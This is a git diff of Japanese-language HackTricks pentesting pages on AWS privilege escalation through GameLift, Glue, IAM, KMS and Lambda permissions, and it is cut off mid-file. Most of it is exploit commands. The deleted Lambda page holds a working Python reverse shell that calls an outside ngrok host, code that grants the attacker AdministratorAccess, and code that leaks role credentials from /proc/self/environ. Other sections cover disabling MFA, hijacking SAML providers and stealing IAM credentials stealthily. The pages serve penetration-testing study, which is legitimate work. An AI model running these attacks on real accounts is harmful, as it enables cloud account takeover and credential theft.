+この権限があれば、攻撃者は Amazon GameLift の Amazon S3 に新しいゲームビルドファイルをアップロードする際に使用する **fresh set of credentials for use when uploading** を取得できます。これは **S3 upload credentials** を返します。
+```bash
+aws gamelift request-upload-credentials \
+--build-id build-a1b2c3d4-5678-90ab-cdef-EXAMPLE11111
+```
+## 参考文献
+
+- [https://gist.github.com/kmcquade/33860a617e651104d243c324ddf7992a](https://gist.github.com/kmcquade/33860a617e651104d243c324ddf7992a)
+
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-glue-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-glue-privesc/README.md
similarity index 50%
rename from src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-glue-privesc.md
rename to src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-glue-privesc/README.md
index d6c0be065..706d54df8 100644
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-glue-privesc.md
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-glue-privesc/README.md
@@ -1,14 +1,14 @@
 # AWS - Glue Privesc
 
-{{#include ../../../banners/hacktricks-training.md}}
+{{#include ../../../../banners/hacktricks-training.md}}
 
 ## glue
 
 ### `iam:PassRole`, `glue:CreateDevEndpoint`, (`glue:GetDevEndpoint` | `glue:GetDevEndpoints`)
 
-これらの権限を持つユーザーは、**新しいAWS Glue開発エンドポイントを設定し**、**特定の権限を持つ既存のサービスロールをGlueによって引き受け可能な形でこのエンドポイントに割り当てることができます**。
+これらの権限を持つユーザーは、**新しい AWS Glue development endpoint をセットアップし**、**Glue によって引き受け可能な既存の service role をこのエンドポイントに特定の権限で割り当てる**ことができます。
 
-セットアップ後、**攻撃者はエンドポイントのインスタンスにSSHで接続し**、割り当てられたロールのIAM資格情報を盗むことができます:
+セットアップ後、**攻撃者はエンドポイントのインスタンスに SSH でアクセスでき**、割り当てられたロールの IAM 資格情報を盗むことができます:
 ```bash
 # Create endpoint
 aws glue create-dev-endpoint --endpoint-name <endpoint-name> \
@@ -22,13 +22,13 @@ aws glue get-dev-endpoint --endpoint-name privesctest
 # SSH with the glue user
 ssh -i /tmp/private.key ec2-54-72-118-58.eu-west-1.compute.amazonaws.com
 ```
-ステルス目的のために、Glue仮想マシン内のIAM資格情報を使用することが推奨されます。
+ステルス目的のため、Glue の仮想マシン内から IAM 資格情報を使用することを推奨します。
 
-**潜在的な影響:** 指定されたGlueサービスロールへの権限昇格。
+**潜在的な影響:** 指定された glue サービスロールへの Privesc。
 
 ### `glue:UpdateDevEndpoint`, (`glue:GetDevEndpoint` | `glue:GetDevEndpoints`)
 
-この権限を持つユーザーは、**既存のGlue開発**エンドポイントのSSHキーを**変更でき、SSHアクセスを有効にします**。これにより、攻撃者はエンドポイントに接続されたロールの権限でコマンドを実行できます。
+この権限を持つユーザーは **既存の Glue 開発用** エンドポイントの SSH キーを変更し、**それを利用した SSH アクセスを有効にできます**。これにより攻撃者はエンドポイントに紐付けられたロールの権限でコマンドを実行できます:
 ```bash
 # Change public key to connect
 aws glue --endpoint-name target_endpoint \
@@ -41,11 +41,11 @@ aws glue get-dev-endpoint --endpoint-name privesctest
 # SSH with the glue user
 ssh -i /tmp/private.key ec2-54-72-118-58.eu-west-1.compute.amazonaws.com
 ```
-**潜在的影響:** 使用されるグルーサービスロールへの権限昇格。
+**潜在的な影響:** 使用されている glue サービスロールへの Privesc
 
 ### `iam:PassRole`, (`glue:CreateJob` | `glue:UpdateJob`), (`glue:StartJobRun` | `glue:CreateTrigger`)
 
-**`iam:PassRole`** と **`glue:CreateJob` または `glue:UpdateJob`** のいずれか、さらに **`glue:StartJobRun` または `glue:CreateTrigger`** のいずれかを組み合わせたユーザーは、**AWS Glue ジョブを作成または更新**し、任意の **Glue サービスアカウント**を添付し、ジョブの実行を開始できます。このジョブの機能には、任意の Python コードを実行することが含まれており、これを利用してリバースシェルを確立することができます。このリバースシェルは、そのジョブに添付されたロールの **IAM 認証情報**を抽出するために利用され、結果としてそのロールの権限に基づく不正アクセスや行動につながる可能性があります。
+**`iam:PassRole`** と **`glue:CreateJob` or `glue:UpdateJob`** のいずれか、さらに **`glue:StartJobRun` or `glue:CreateTrigger`** のいずれかを組み合わせて持つユーザーは、任意の **Glue service account** をアタッチして **AWS Glue job** を作成または更新し、その実行を開始できます。ジョブは任意の Python コードを実行できるため、これを悪用して reverse shell を確立することが可能です。この reverse shell を使って Glue ジョブにアタッチされたロールの **IAM credential**s を exfiltrate し、そのロールの権限に基づいた不正なアクセスや操作につながる可能性があります:
 ```bash
 # Content of the python script saved in s3:
 #import socket,subprocess,os
@@ -71,16 +71,16 @@ aws glue create-trigger --name triggerprivesc --type SCHEDULED \
 --actions '[{"JobName": "privesctest"}]' --start-on-creation \
 --schedule "0/5 * * * * *"  #Every 5mins, feel free to change
 ```
-**潜在的な影響:** 指定されたglueサービスロールへの権限昇格。
+**Potential Impact:** 指定された glue サービスロールへの Privesc
 
 ### `glue:UpdateJob`
 
-更新権限だけで、攻撃者は既にアタッチされたロールのIAM資格情報を盗むことができる。
+update 権限のみで、攻撃者は既にアタッチされているロールの IAM Credentials を盗むことができます。
 
-**潜在的な影響:** アタッチされたglueサービスロールへの権限昇格。
+**Potential Impact:** アタッチされた glue サービスロールへの Privesc
 
-## 参考文献
+## 参考
 
 - [https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/](https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/)
 
-{{#include ../../../banners/hacktricks-training.md}}
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-privesc.md
deleted file mode 100644
index b56c036ec..000000000
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-privesc.md
+++ /dev/null
@@ -1,231 +0,0 @@
-# AWS - IAM Privesc
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-## IAM
-
-IAMに関する詳細情報は次を確認してください：
-
-{{#ref}}
-../aws-services/aws-iam-enum.md
-{{#endref}}
-
-### **`iam:CreatePolicyVersion`**
-
-新しいIAMポリシーバージョンを作成する能力を付与し、`--set-as-default`フラグを使用することで`iam:SetDefaultPolicyVersion`権限の必要性を回避します。これにより、カスタム権限を定義できます。
-
-**Exploit Command:**
-```bash
-aws iam create-policy-version --policy-arn <target_policy_arn> \
---policy-document file:///path/to/administrator/policy.json --set-as-default
-```
-**影響:** すべてのリソースに対して任意のアクションを許可することにより、直接的に権限を昇格させます。
-
-### **`iam:SetDefaultPolicyVersion`**
-
-IAMポリシーのデフォルトバージョンを別の既存のバージョンに変更することを許可し、新しいバージョンにより多くの権限がある場合、権限を昇格させる可能性があります。
-
-**Bashコマンド:**
-```bash
-aws iam set-default-policy-version --policy-arn <target_policy_arn> --version-id v2
-```
-**影響:** より多くの権限を有効にすることによる間接的な特権昇格。
-
-### **`iam:CreateAccessKey`**
-
-他のユーザーのためにアクセスキーIDとシークレットアクセスキーを作成することを可能にし、特権昇格の可能性を引き起こします。
-
-**悪用:**
-```bash
-aws iam create-access-key --user-name <target_user>
-```
-**影響:** 他のユーザーの拡張権限を引き受けることによる直接的な権限昇格。
-
-### **`iam:CreateLoginProfile` | `iam:UpdateLoginProfile`**
-
-AWSコンソールログインのためのパスワード設定を含むログインプロファイルの作成または更新を許可し、直接的な権限昇格につながる。
-
-**作成のためのエクスプロイト:**
-```bash
-aws iam create-login-profile --user-name target_user --no-password-reset-required \
---password '<password>'
-```
-**アップデートのためのエクスプロイト:**
-```bash
-aws iam update-login-profile --user-name target_user --no-password-reset-required \
---password '<password>'
-```
-**影響:** "任意"のユーザーとしてログインすることによる直接的な権限昇格。
-
-### **`iam:UpdateAccessKey`**
-
-無効なアクセスキーを有効にすることを許可し、攻撃者が無効なキーを持っている場合、無許可のアクセスにつながる可能性があります。
-
-**悪用:**
-```bash
-aws iam update-access-key --access-key-id <ACCESS_KEY_ID> --status Active --user-name <username>
-```
-**影響:** アクセスキーを再活性化することによる直接的な権限昇格。
-
-### **`iam:CreateServiceSpecificCredential` | `iam:ResetServiceSpecificCredential`**
-
-特定のAWSサービス（例：CodeCommit、Amazon Keyspaces）のための資格情報を生成またはリセットすることを可能にし、関連するユーザーの権限を継承します。
-
-**作成のためのエクスプロイト:**
-```bash
-aws iam create-service-specific-credential --user-name <username> --service-name <service>
-```
-**リセットのためのエクスプロイト:**
-```bash
-aws iam reset-service-specific-credential --service-specific-credential-id <credential_id>
-```
-**影響:** ユーザーのサービス権限内での直接的な特権昇格。
-
-### **`iam:AttachUserPolicy` || `iam:AttachGroupPolicy`**
-
-ユーザーまたはグループにポリシーを添付することを許可し、添付されたポリシーの権限を継承することによって特権を直接昇格させます。
-
-**ユーザーのためのエクスプロイト:**
-```bash
-aws iam attach-user-policy --user-name <username> --policy-arn "<policy_arn>"
-```
-**グループのエクスプロイト:**
-```bash
-aws iam attach-group-policy --group-name <group_name> --policy-arn "<policy_arn>"
-```
-**影響:** ポリシーが付与するすべてへの直接的な権限昇格。
-
-### **`iam:AttachRolePolicy`,** ( `sts:AssumeRole`|`iam:createrole`) | **`iam:PutUserPolicy` | `iam:PutGroupPolicy` | `iam:PutRolePolicy`**
-
-ロール、ユーザー、またはグループにポリシーを添付または設定することを許可し、追加の権限を付与することによって直接的な権限昇格を可能にします。
-
-**ロールのためのエクスプロイト:**
-```bash
-aws iam attach-role-policy --role-name <role_name> --policy-arn "<policy_arn>"
-```
-**インラインポリシーのエクスプロイト:**
-```bash
-aws iam put-user-policy --user-name <username> --policy-name "<policy_name>" \
---policy-document "file:///path/to/policy.json"
-
-aws iam put-group-policy --group-name <group_name> --policy-name "<policy_name>" \
---policy-document file:///path/to/policy.json
-
-aws iam put-role-policy --role-name <role_name> --policy-name "<policy_name>" \
---policy-document file:///path/to/policy.json
-```
-ポリシーを次のように使用できます:
-```json
-{
-"Version": "2012-10-17",
-"Statement": [
-{
-"Effect": "Allow",
-"Action": ["*"],
-"Resource": ["*"]
-}
-]
-}
-```
-**影響:** ポリシーを通じて権限を追加することによる直接的な権限昇格。
-
-### **`iam:AddUserToGroup`**
-
-自分自身をIAMグループに追加することを可能にし、グループの権限を継承することで権限を昇格させます。
-
-**悪用:**
-```bash
-aws iam add-user-to-group --group-name <group_name> --user-name <username>
-```
-**影響:** グループの権限レベルへの直接的な権限昇格。
-
-### **`iam:UpdateAssumeRolePolicy`**
-
-ロールのアサムポリシー文書を変更することを許可し、ロールとその関連する権限の引き受けを可能にします。
-
-**悪用:**
-```bash
-aws iam update-assume-role-policy --role-name <role_name> \
---policy-document file:///path/to/assume/role/policy.json
-```
-ポリシーが以下のようになっている場合、ユーザーにロールを引き受ける権限が与えられます：
-```json
-{
-"Version": "2012-10-17",
-"Statement": [
-{
-"Effect": "Allow",
-"Action": "sts:AssumeRole",
-"Principal": {
-"AWS": "$USER_ARN"
-}
-}
-]
-}
-```
-**影響:** 任意のロールの権限を引き受けることによる直接的な特権昇格。
-
-### **`iam:UploadSSHPublicKey` || `iam:DeactivateMFADevice`**
-
-CodeCommitへの認証のためにSSH公開鍵をアップロードし、MFAデバイスを無効にすることを許可し、潜在的な間接的特権昇格につながる。
-
-**SSHキーアップロードのためのエクスプロイト:**
-```bash
-aws iam upload-ssh-public-key --user-name <username> --ssh-public-key-body <key_body>
-```
-**MFA無効化のためのエクスプロイト:**
-```bash
-aws iam deactivate-mfa-device --user-name <username> --serial-number <serial_number>
-```
-**影響:** CodeCommit アクセスを有効にするか、MFA 保護を無効にすることによる間接的な特権昇格。
-
-### **`iam:ResyncMFADevice`**
-
-MFA デバイスの再同期を許可し、MFA 保護を操作することによって間接的な特権昇格につながる可能性があります。
-
-**Bash コマンド:**
-```bash
-aws iam resync-mfa-device --user-name <username> --serial-number <serial_number> \
---authentication-code1 <code1> --authentication-code2 <code2>
-```
-**影響:** MFAデバイスを追加または操作することによる間接的な権限昇格。
-
-### `iam:UpdateSAMLProvider`, `iam:ListSAMLProviders`, (`iam:GetSAMLProvider`)
-
-これらの権限を持つことで、**SAML接続のXMLメタデータを変更**することができます。その後、**SAMLフェデレーション**を悪用して、**信頼している**任意の**ロール**で**ログイン**することができます。
-
-これを行うと、**正当なユーザーはログインできなくなる**ことに注意してください。しかし、XMLを取得できるので、自分のものを入れてログインし、以前の設定を戻すことができます。
-```bash
-# List SAMLs
-aws iam list-saml-providers
-
-# Optional: Get SAML provider XML
-aws iam get-saml-provider --saml-provider-arn <ARN>
-
-# Update SAML provider
-aws iam update-saml-provider --saml-metadata-document <value> --saml-provider-arn <arn>
-
-## Login impersonating roles that trust the SAML provider
-
-# Optional: Set the previous XML back
-aws iam update-saml-provider --saml-metadata-document <previous-xml> --saml-provider-arn <arn>
-```
-> [!NOTE]
-> TODO: 指定されたロールでログインし、SAMLメタデータを生成できるツール
-
-### `iam:UpdateOpenIDConnectProviderThumbprint`, `iam:ListOpenIDConnectProviders`, (`iam:`**`GetOpenIDConnectProvider`**)
-
-（これについては不明）攻撃者がこれらの**権限**を持っている場合、プロバイダーを信頼するすべてのロールにログインするために新しい**サムプリント**を追加することができる。
-```bash
-# List providers
-aws iam list-open-id-connect-providers
-# Optional: Get Thumbprints used to not delete them
-aws iam get-open-id-connect-provider --open-id-connect-provider-arn <ARN>
-# Update Thumbprints (The thumbprint is always a 40-character string)
-aws iam update-open-id-connect-provider-thumbprint --open-id-connect-provider-arn <ARN> --thumbprint-list 359755EXAMPLEabc3060bce3EXAMPLEec4542a3
-```
-## 参考文献
-
-- [https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/](https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/)
-
-{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-privesc/README.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-privesc/README.md
new file mode 100644
index 000000000..12b84a9cd
--- /dev/null
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-privesc/README.md
@@ -0,0 +1,235 @@
+# AWS - IAM Privesc
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## IAM
+
+IAM の詳細については次を参照してください:
+
+{{#ref}}
+../../aws-services/aws-iam-enum.md
+{{#endref}}
+
+### **`iam:CreatePolicyVersion`**
+
+新しい IAM ポリシー バージョンを作成する権限を付与します。`--set-as-default` フラグを使用することで `iam:SetDefaultPolicyVersion` 権限を必要とせずにデフォルトに設定でき、これによりカスタム権限を定義できます。
+
+**Exploit Command:**
+```bash
+aws iam create-policy-version --policy-arn <target_policy_arn> \
+--policy-document file:///path/to/administrator/policy.json --set-as-default
+```
+**影響:** 任意のリソースに対して任意のアクションを許可することで、直接的に権限を昇格させます。
+
+### **`iam:SetDefaultPolicyVersion`**
+
+IAMポリシーのデフォルトバージョンを別の既存バージョンに変更できる権限です。新しいバージョンがより多くの権限を持っている場合、権限が昇格する可能性があります。
+
+**Bash Command:**
+```bash
+aws iam set-default-policy-version --policy-arn <target_policy_arn> --version-id v2
+```
+**影響:** より多くの権限を付与できるようにすることで、間接的に privilege escalation を引き起こす。
+
+### **`iam:CreateAccessKey`**
+
+他のユーザーの access key ID と secret access key を作成できるようにし、潜在的に privilege escalation を引き起こす可能性がある。
+
+**Exploit:**
+```bash
+aws iam create-access-key --user-name <target_user>
+```
+**影響:** 別のユーザーの拡張された権限を引き受けることで、直接的な権限昇格が可能になる。
+
+### **`iam:CreateLoginProfile` | `iam:UpdateLoginProfile`**
+
+ログインプロファイルの作成や更新（AWS コンソールログイン用のパスワード設定を含む）を許可し、これにより直接的な権限昇格を招く。
+
+**Exploit for Creation:**
+```bash
+aws iam create-login-profile --user-name target_user --no-password-reset-required \
+--password '<password>'
+```
+**更新用Exploit:**
+```bash
+aws iam update-login-profile --user-name target_user --no-password-reset-required \
+--password '<password>'
+```
+**影響:** 「any」ユーザーとしてログインすることで直接的な権限昇格が発生します。
+
+### **`iam:UpdateAccessKey`**
+
+無効化されたアクセスキーを有効にできるため、attacker がその無効化されたキーを所持している場合、不正アクセスにつながる可能性があります。
+
+**悪用:**
+```bash
+aws iam update-access-key --access-key-id <ACCESS_KEY_ID> --status Active --user-name <username>
+```
+**影響:** アクセスキーを再有効化することで直接的な権限昇格を引き起こします。
+
+### **`iam:CreateServiceSpecificCredential` | `iam:ResetServiceSpecificCredential`**
+
+特定のAWSサービス（例: CodeCommit、Amazon Keyspaces）向けの認証情報を生成またはリセットできるようにし、関連付けられたユーザーの権限を継承します。
+
+**Exploit for Creation:**
+```bash
+aws iam create-service-specific-credential --user-name <username> --service-name <service>
+```
+**リセットのためのExploit:**
+```bash
+aws iam reset-service-specific-credential --service-specific-credential-id <credential_id>
+```
+**Impact:** ユーザーのサービス権限内での直接的な権限昇格。
+
+### **`iam:AttachUserPolicy` || `iam:AttachGroupPolicy`**
+
+ポリシーをユーザーまたはグループにアタッチできるようにし、アタッチされたポリシーの権限を継承することで直接的に権限を昇格させます。
+
+**Exploit for User:**
+```bash
+aws iam attach-user-policy --user-name <username> --policy-arn "<policy_arn>"
+```
+**Group向けのExploit:**
+```bash
+aws iam attach-group-policy --group-name <group_name> --policy-arn "<policy_arn>"
+```
+**Impact:** ポリシーが許可するあらゆる操作への直接的な権限昇格。
+
+### **`iam:AttachRolePolicy`,** ( `sts:AssumeRole`|`iam:createrole`) | **`iam:PutUserPolicy` | `iam:PutGroupPolicy` | `iam:PutRolePolicy`**
+
+ロール、ユーザー、グループにポリシーをアタッチまたは設定することを許可し、追加の権限を付与することで直接的に権限昇格が可能になります。
+
+**Exploit for Role:**
+```bash
+aws iam attach-role-policy --role-name <role_name> --policy-arn "<policy_arn>"
+```
+**インラインポリシーのExploit:**
+```bash
+aws iam put-user-policy --user-name <username> --policy-name "<policy_name>" \
+--policy-document "file:///path/to/policy.json"
+
+aws iam put-group-policy --group-name <group_name> --policy-name "<policy_name>" \
+--policy-document file:///path/to/policy.json
+
+aws iam put-role-policy --role-name <role_name> --policy-name "<policy_name>" \
+--policy-document file:///path/to/policy.json
+```
+次のようなポリシーを使用できます:
+```json
+{
+"Version": "2012-10-17",
+"Statement": [
+{
+"Effect": "Allow",
+"Action": ["*"],
+"Resource": ["*"]
+}
+]
+}
+```
+**影響:** ポリシーを通じて権限を追加することで直接的な権限昇格を引き起こします。
+
+### **`iam:AddUserToGroup`**
+
+自分自身をIAMグループに追加することを可能にし、グループの権限を継承することで権限が昇格します。
+
+**Exploit:**
+```bash
+aws iam add-user-to-group --group-name <group_name> --user-name <username>
+```
+**Impact:** グループの持つ権限レベルへの直接的な特権昇格。
+
+### **`iam:UpdateAssumeRolePolicy`**
+
+ロールの assume role policy ドキュメントを書き換えることを許可し、そのロールおよび関連する権限を引き受けられるようにします。
+
+**Exploit:**
+```bash
+aws iam update-assume-role-policy --role-name <role_name> \
+--policy-document file:///path/to/assume/role/policy.json
+```
+ポリシーが次のようになっており、ユーザーがそのロールを引き受ける権限を持っている場合:
+```json
+{
+"Version": "2012-10-17",
+"Statement": [
+{
+"Effect": "Allow",
+"Action": "sts:AssumeRole",
+"Principal": {
+"AWS": "$USER_ARN"
+}
+}
+]
+}
+```
+**Impact:** 任意のロールの権限を引き受けることで直接的な privilege escalation を引き起こす。
+
+### **`iam:UploadSSHPublicKey` || `iam:DeactivateMFADevice`**
+
+CodeCommitへの認証用にSSH公開鍵をアップロードでき、MFAデバイスを無効化できるため、間接的な privilege escalation につながる可能性がある。
+
+**Exploit for SSH Key Upload:**
+```bash
+aws iam upload-ssh-public-key --user-name <username> --ssh-public-key-body <key_body>
+```
+**MFA無効化のためのExploit:**
+```bash
+aws iam deactivate-mfa-device --user-name <username> --serial-number <serial_number>
+```
+**影響:** CodeCommit アクセスを有効にするか MFA 保護を無効にすることで、間接的な権限昇格を引き起こす可能性があります。
+
+### **`iam:ResyncMFADevice`**
+
+MFA デバイスの再同期を許可し、MFA 保護を操作することで間接的な権限昇格を引き起こす可能性があります。
+
+**Bash Command:**
+```bash
+aws iam resync-mfa-device --user-name <username> --serial-number <serial_number> \
+--authentication-code1 <code1> --authentication-code2 <code2>
+```
+**Impact:** MFAデバイスの追加や操作による間接的な権限昇格。
+
+### `iam:UpdateSAMLProvider`, `iam:ListSAMLProviders`, (`iam:GetSAMLProvider`)
+
+これらの権限があれば、**SAML接続のXMLメタデータを変更できます**。その後、**SAML federation**を悪用して、それを信頼している任意の**role**で**login**することができます。
+
+ただし、これを行うと**正当なユーザーはloginできなくなる**点に注意してください。とはいえ、XMLを取得できれば自分のものに差し替えて**login**し、元に戻すように設定することができます。
+```bash
+# List SAMLs
+aws iam list-saml-providers
+
+# Optional: Get SAML provider XML
+aws iam get-saml-provider --saml-provider-arn <ARN>
+
+# Update SAML provider
+aws iam update-saml-provider --saml-metadata-document <value> --saml-provider-arn <arn>
+
+## Login impersonating roles that trust the SAML provider
+
+# Optional: Set the previous XML back
+aws iam update-saml-provider --saml-metadata-document <previous-xml> --saml-provider-arn <arn>
+```
+> [!NOTE]
+> TODO: SAML metadata を生成し、指定したロールでログインするツール
+
+### `iam:UpdateOpenIDConnectProviderThumbprint`, `iam:ListOpenIDConnectProviders`, (`iam:`**`GetOpenIDConnectProvider`**)
+
+（これについては不確か）攻撃者がこれらの **permissions** を持っている場合、プロバイダーを信頼するすべてのロールにログインできるように、新しい **Thumbprint** を追加できる可能性がある。
+```bash
+# List providers
+aws iam list-open-id-connect-providers
+# Optional: Get Thumbprints used to not delete them
+aws iam get-open-id-connect-provider --open-id-connect-provider-arn <ARN>
+# Update Thumbprints (The thumbprint is always a 40-character string)
+aws iam update-open-id-connect-provider-thumbprint --open-id-connect-provider-arn <ARN> --thumbprint-list 359755EXAMPLEabc3060bce3EXAMPLEec4542a3
+```
+### `iam:PutUserPermissionsBoundary`
+
+この権限により、攻撃者はユーザーの permissions boundary を更新できるようになり、通常は既存の権限で制限されている操作を実行可能にして権限を昇格させる可能性があります。
+
+## 参考文献
+
+- [https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/](https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/)
+
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-kms-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-kms-privesc/README.md
similarity index 50%
rename from src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-kms-privesc.md
rename to src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-kms-privesc/README.md
index 6c15d0d49..1aeb0ea41 100644
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-kms-privesc.md
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-kms-privesc/README.md
@@ -1,18 +1,18 @@
 # AWS - KMS Privesc
 
-{{#include ../../../banners/hacktricks-training.md}}
+{{#include ../../../../banners/hacktricks-training.md}}
 
 ## KMS
 
-KMSに関する詳細情報は、以下を確認してください:
+KMSの詳細については次を参照してください：
 
 {{#ref}}
-../aws-services/aws-kms-enum.md
+../../aws-services/aws-kms-enum.md
 {{#endref}}
 
 ### `kms:ListKeys`,`kms:PutKeyPolicy`, (`kms:ListKeyPolicies`, `kms:GetKeyPolicy`)
 
-これらの権限を持つことで、**キーへのアクセス権限を変更**し、他のアカウントや誰でも使用できるようにすることが可能です:
+これらの権限があれば、**キーのアクセス許可を変更する**ことで、他のアカウントや、場合によっては誰でも使用できるようにできます：
 ```bash
 aws kms list-keys
 aws kms list-key-policies --key-id <id> # Although only 1 max per key
@@ -57,12 +57,12 @@ aws kms create-grant \
 --operations Decrypt
 ```
 > [!WARNING]
-> グラントは特定のタイプの操作のみを許可できます: [https://docs.aws.amazon.com/kms/latest/developerguide/grants.html#terms-grant-operations](https://docs.aws.amazon.com/kms/latest/developerguide/grants.html#terms-grant-operations)
-
+> A grant は特定の種類の操作のみを許可できます: [https://docs.aws.amazon.com/kms/latest/developerguide/grants.html#terms-grant-operations](https://docs.aws.amazon.com/kms/latest/developerguide/grants.html#terms-grant-operations)
+> 
 > [!WARNING]
-> グラントが生成された後、KMSが**ユーザーにキーの使用を許可するまでに数分かかる場合があります**。その時間が経過すると、プリンシパルは何も指定せずにKMSキーを使用できます。\
-> ただし、すぐにグラントを使用する必要がある場合は[グラントトークンを使用してください](https://docs.aws.amazon.com/kms/latest/developerguide/grant-manage.html#using-grant-token)（以下のコードを確認してください）。\
-> [**詳細についてはこれをお読みください**](https://docs.aws.amazon.com/kms/latest/developerguide/grant-manage.html#using-grant-token).
+> grant が生成された後、KMS が **ユーザーがキーを使用できるようにするまでに数分かかることがある** ことに注意してください。 その時間が経過すると、principal は何も指定せずに KMS key を使用できます。\
+> ただし、grant をすぐに使用する必要がある場合は [use a grant token](https://docs.aws.amazon.com/kms/latest/developerguide/grant-manage.html#using-grant-token)（以下のコードを確認してください）。\
+> For [**more info read this**](https://docs.aws.amazon.com/kms/latest/developerguide/grant-manage.html#using-grant-token).
 ```bash
 # Use the grant token in a request
 aws kms generate-data-key \
@@ -70,15 +70,15 @@ aws kms generate-data-key \
 –-key-spec AES_256 \
 --grant-tokens $token
 ```
-キーの付与をリストすることが可能であることに注意してください:
+次のようにキーのグラントを一覧表示できることに注意してください:
 ```bash
 aws kms list-grants --key-id <value>
 ```
 ### `kms:CreateKey`, `kms:ReplicateKey`
 
-これらの権限を持つことで、異なるポリシーを持つ異なるリージョンにマルチリージョン対応のKMSキーを複製することが可能です。
+これらの権限があれば、マルチリージョン対応の KMS key を別リージョンに異なるポリシーで複製することが可能です。
 
-したがって、攻撃者はこれを悪用して、キーへのアクセスを取得し、使用することができます。
+したがって、攻撃者はこれを悪用して privesc によりキーへのアクセス権を取得し、それを利用できます。
 ```bash
 aws kms replicate-key --key-id mrk-c10357313a644d69b4b28b88523ef20c --replica-region eu-west-3 --bypass-policy-lockout-safety-check --policy file:///tmp/policy.yml
 
@@ -100,11 +100,11 @@ aws kms replicate-key --key-id mrk-c10357313a644d69b4b28b88523ef20c --replica-re
 ```
 ### `kms:Decrypt`
 
-この権限は、キーを使用して情報を復号化することを許可します。\
-詳細については、次を確認してください：
+この権限は、キーを使用して情報を decrypt することを許可します。\
+詳細は次を参照してください:
 
 {{#ref}}
-../aws-post-exploitation/aws-kms-post-exploitation.md
+../../aws-post-exploitation/aws-kms-post-exploitation/README.md
 {{#endref}}
 
-{{#include ../../../banners/hacktricks-training.md}}
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-lambda-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-lambda-privesc.md
deleted file mode 100644
index 7b2834fcd..000000000
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-lambda-privesc.md
+++ /dev/null
@@ -1,323 +0,0 @@
-# AWS - Lambda Privesc
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-## lambda
-
-More info about lambda in:
-
-{{#ref}}
-../aws-services/aws-lambda-enum.md
-{{#endref}}
-
-### `iam:PassRole`, `lambda:CreateFunction`, (`lambda:InvokeFunction` | `lambda:InvokeFunctionUrl`)
-
-**`iam:PassRole`, `lambda:CreateFunction`, `lambda:InvokeFunction`** の権限を持つユーザーは権限を昇格できます。\
-彼らは**新しい Lambda 関数を作成して既存の IAM ロールを割り当てる**ことができ、そのロールに紐づく権限が関数に付与されます。ユーザーはその後**この Lambda 関数にコードを書き込みアップロードする（例えば rev shell）**ことができます。\
-関数がセットアップされると、ユーザーは **実行をトリガー** して AWS API を通じて Lambda 関数を呼び出すことで意図した処理を実行できます。この方法により、ユーザーは関連する IAM ロールに付与されたアクセスレベルで間接的に操作を行えます。\\
-
-攻撃者はこれを悪用して **rev shell と token を盗む** ことができます:
-```python:rev.py
-import socket,subprocess,os,time
-def lambda_handler(event, context):
-s = socket.socket(socket.AF_INET,socket.SOCK_STREAM);
-s.connect(('4.tcp.ngrok.io',14305))
-os.dup2(s.fileno(),0)
-os.dup2(s.fileno(),1)
-os.dup2(s.fileno(),2)
-p=subprocess.call(['/bin/sh','-i'])
-time.sleep(900)
-return 0
-```
-
-```bash
-# Zip the rev shell
-zip "rev.zip" "rev.py"
-
-# Create the function
-aws lambda create-function --function-name my_function \
---runtime python3.9 --role <arn_of_lambda_role> \
---handler rev.lambda_handler --zip-file fileb://rev.zip
-
-# Invoke the function
-aws lambda invoke --function-name my_function output.txt
-## If you have the lambda:InvokeFunctionUrl permission you need to expose the lambda inan URL and execute it via the URL
-
-# List roles
-aws iam list-attached-user-policies --user-name <user-name>
-```
-また、lambda 関数自体から **lambda ロールの権限を悪用する** こともできます。\
-lambda ロールに十分な権限があれば、それを使って自分に管理者権限を付与できます:
-```python
-import boto3
-def lambda_handler(event, context):
-client = boto3.client('iam')
-response = client.attach_user_policy(
-UserName='my_username',
-PolicyArn='arn:aws:iam::aws:policy/AdministratorAccess'
-)
-return response
-```
-外部接続を必要とせずに lambda の role credentials を leak することも可能です。これは内部タスクで使用される **Network isolated Lambdas** に有用です。未知の security groups があなたの reverse shells をフィルタしている場合、このコードは lambda の出力として credentials を直接 leak することを可能にします。
-```python
-def handler(event, context):
-sessiontoken = open('/proc/self/environ', "r").read()
-return {
-'statusCode': 200,
-'session': str(sessiontoken)
-}
-```
-
-```bash
-aws lambda invoke --function-name <lambda_name> output.txt
-cat output.txt
-```
-**潜在的な影響:** 指定された任意の lambda サービスロールに対する直接的な privesc。
-
-> [!CAUTION]
